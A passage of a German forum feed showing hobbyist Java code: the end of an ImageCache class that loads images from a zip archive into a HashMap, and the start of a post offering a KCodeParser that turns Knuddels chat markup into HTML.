/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">enu</span><span style="color: #007700">.</span><span style="color: #0000BB">hasMoreElements</span><span style="color: #007700">())&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ZipEntry&nbsp;zipEntry&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">ZipEntry</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">enu</span><span style="color: #007700">.</span><span style="color: #0000BB">nextElement</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">isImage</span><span style="color: #007700">(</span><span style="color: #0000BB">zipEntry</span><span style="color: #007700">.</span><span style="color: #0000BB">getName</span><span style="color: #007700">()))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">InputStream&nbsp;inputStream&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">zipFile<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">.</span><span style="color: #0000BB">getInputStream</span><span style="color: #007700">(</span><span style="color: #0000BB">zipEntry</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Image&nbsp;image&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ImageIO</span><span style="color: #007700">.</span><span style="color: #0000BB">read</span><span style="color: #007700">(</span><span style="color: #0000BB">inputStream</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">putImage</span><span style="color: #007700">(</span><span style="color: #0000BB">zipEntry</span><span style="color: #007700">.</span><span style="color: #0000BB">getName</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">image</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(</span><span style="color: #0000BB">IOException&nbsp;e</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">printStackTrace</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Fügt&nbsp;den&nbsp;Name&nbsp;sowie&nbsp;das&nbsp;Bild&nbsp;in&nbsp;die&nbsp;HashMap&nbsp;ein<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;putImage</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Image&nbsp;image</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">imageCache</span><span style="color: #007700">.</span><span style="color: #0000BB">size</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">maxCount</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">imageCache</span><span style="color: #007700">.</span><span style="color: #0000BB">put</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">image</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">out</span><span style="color: #007700">.</span><span style="color: #0000BB">println</span><span style="color: #007700">(</span><span style="color: #DD0000">"HashMap&nbsp;full!"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Gibt&nbsp;ein&nbsp;Bild&nbsp;anhand&nbsp;des&nbsp;Namens&nbsp;aus&nbsp;dem&nbsp;Zip-Archiv&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">Image&nbsp;getImagesByName</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;name</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<br /></span><span style="color: #0000BB">File&nbsp;f&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">File</span><span style="color: #007700">(</span><span style="color: #0000BB">ImageCache</span><span style="color: #007700">.class.</span><span style="color: #0000BB">getResource</span><span style="color: #007700">(</span><span style="color: #DD0000">"/res/"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">zipName</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.</span><span style="color: #0000BB">getPath</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">f</span><span style="color: #007700">.</span><span style="color: #0000BB">exists</span><span style="color: #007700">())&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ZipFile&nbsp;zipFile&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">ZipFile</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Enumeration&nbsp;enu&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">zipFile</span><span style="color: #007700">.</span><span style="color: #0000BB">entries</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">enu</span><span style="color: #007700">.</span><span style="color: #0000BB">hasMoreElements</span><span style="color: #007700">())&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ZipEntry&nbsp;zipEntry&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">ZipEntry</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">enu</span><span style="color: #007700">.</span><span style="color: #0000BB">nextElement</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">zipEntry</span><span style="color: #007700">.</span><span style="color: #0000BB">getName</span><span style="color: #007700">().</span><span style="color: #0000BB">equals</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">InputStream&nbsp;inputStream&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">zipFile</span><span style="color: #007700">.</span><span style="color: #0000BB">getInputStream</span><span style="color: #007700">(</span><span style="color: #0000BB">zipEntry</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Image&nbsp;image&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ImageIO</span><span style="color: #007700">.</span><span style="color: #0000BB">read</span><span style="color: #007700">(</span><span style="color: #0000BB">inputStream</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">image</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(</span><span style="color: #0000BB">IOException&nbsp;e</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">printStackTrace</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Gibt&nbsp;ein&nbsp;Bild&nbsp;anhand&nbsp;des&nbsp;Namens&nbsp;aus&nbsp;der&nbsp;HashMap&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">Image&nbsp;getImage</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;name</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">name</span><span style="color: #007700">.</span><span style="color: #0000BB">isEmpty</span><span style="color: #007700">())&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Image&nbsp;tmpImage&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">imageCache</span><span style="color: #007700">.</span><span style="color: #0000BB">get</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">tmpImage&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">tmpImage&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">getImagesByName</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">);&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">putImage</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">tmpImage</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">tmpImage</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Gibt&nbsp;True&nbsp;zurück&nbsp;wenn&nbsp;s&nbsp;ein&nbsp;Bild&nbsp;ist&nbsp;sonst&nbsp;False<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">boolean&nbsp;isImage</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;s</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">contains</span><span style="color: #007700">(</span><span style="color: #DD0000">".gif"</span><span style="color: #007700">)&nbsp;|&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">contains</span><span style="color: #007700">(</span><span style="color: #DD0000">".png"</span><span style="color: #007700">)&nbsp;|&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">contains</span><span style="color: #007700">(</span><span style="color: #DD0000">".jpg"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Setzt&nbsp;die&nbsp;maximale&nbsp;Anzahl&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;setMaxCount</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;maxCount</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">maxCount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">maxCount</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;&nbsp;Löscht&nbsp;die&nbsp;HasMap<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;flush</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">imageCache</span><span style="color: #007700">.</span><span style="color: #0000BB">clear</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;&nbsp;Beispiel<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;&nbsp;ImageCache&nbsp;chache&nbsp;=&nbsp;new&nbsp;ImageCache(100,&nbsp;"imgsj10a.zip");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;&nbsp;Image&nbsp;image&nbsp;=&nbsp;chache.getImage("kuecke2.gif");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br /></span><span style="color: #007700">}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Auch hier sind Verbesserungsvorschläge gerne gesehen :) (Y)</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>uncopyable</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-imagecache-13009</guid>
		</item>
		<item>
			<title>KCodeParser (KCode to HTML)</title>
			<link>sourcecode-91/kcodeparser-kcode-to-html-11965?goto=newpost</link>
			<pubDate>Tue, 08 May 2012 12:03:24 GMT</pubDate>
			<description>Hallo, hier mein KCodeParser. 
 
*Funktionen:* 
Übersetzt Knuddels Codes in HTML, denn kann man dann z.B in ein JTextPane anzeigen lassen. 
Beispiel:...</description>
			<content:encoded><![CDATA[<div>Hallo, hier mein KCodeParser.<br />
<br />
<b>Funktionen:</b><br />
Übersetzt Knuddels Codes in HTML, denn kann man dann z.B in ein JTextPane anzeigen lassen.<br />
Beispiel: _Fett_ wird zu &lt;b&gt;Fett&lt;/b&gt;<br />
<br />
<b>Folgende Knuddels Code werden unterstützt:</b><br />
_Fett_, &quot;Kursiv&quot; °Farbe°, °&gt;link&lt;°, °&gt;Text|link&lt;° # Zeilenumbruch<br />
<br />
<b>Bugs</b><br />
°R&gt;Text|link&lt;° Hier wird die Farbe nicht berücksichtigt °R°°&gt;Text|link&lt;° funktioniert.<br />
<br />
<br />
<font size="3">Das Snippet ist noch nicht perfekt und man kann es bestimmt noch besser/optimieren Verbesserungsvorschlag sind erwünscht!</font><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"><br />package&nbsp;jchat</span><span style="color: #007700">.</span><span style="color: #0000BB">tools</span><span style="color: #007700">;<br /><br /><br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">Color</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Matcher</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Pattern</span><span style="color: #007700">;<br /><br /><br /></span><span style="color: #FF8000">/**<br />&nbsp;*<br />&nbsp;*&nbsp;@author&nbsp;uncopyable<br />&nbsp;*/<br /></span><span style="color: #007700">public&nbsp;class&nbsp;</span><span style="color: #0000BB">KCodeParser&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;fontColor&nbsp;</span><span style="color: #007700">=</span><span style="color: #DD0000">"BLACK"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;fontSize&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;code&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;style</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">KCodeParser</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;fontColor</span><span style="color: #007700">,</span><span style="color: #0000BB">int&nbsp;fontSize</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">fontColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fontColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">fontSize&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fontSize</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">style&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"&lt;style&nbsp;type=\"text/css\"&gt;"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"body&nbsp;{"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"font-family:Arial;"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"font-size:"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">fontSize<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"px;"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"color:"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">fontColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">";"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">KCodeParser</span><span style="color: #007700">(){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">style&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fontColor&nbsp;</span><span style="color: #007700">=</span><span style="color: #DD0000">"BLACK"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fontSize&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;parse</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;text</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">(</span><span style="color: #0000BB">style</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">boolean&nbsp;escape&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span 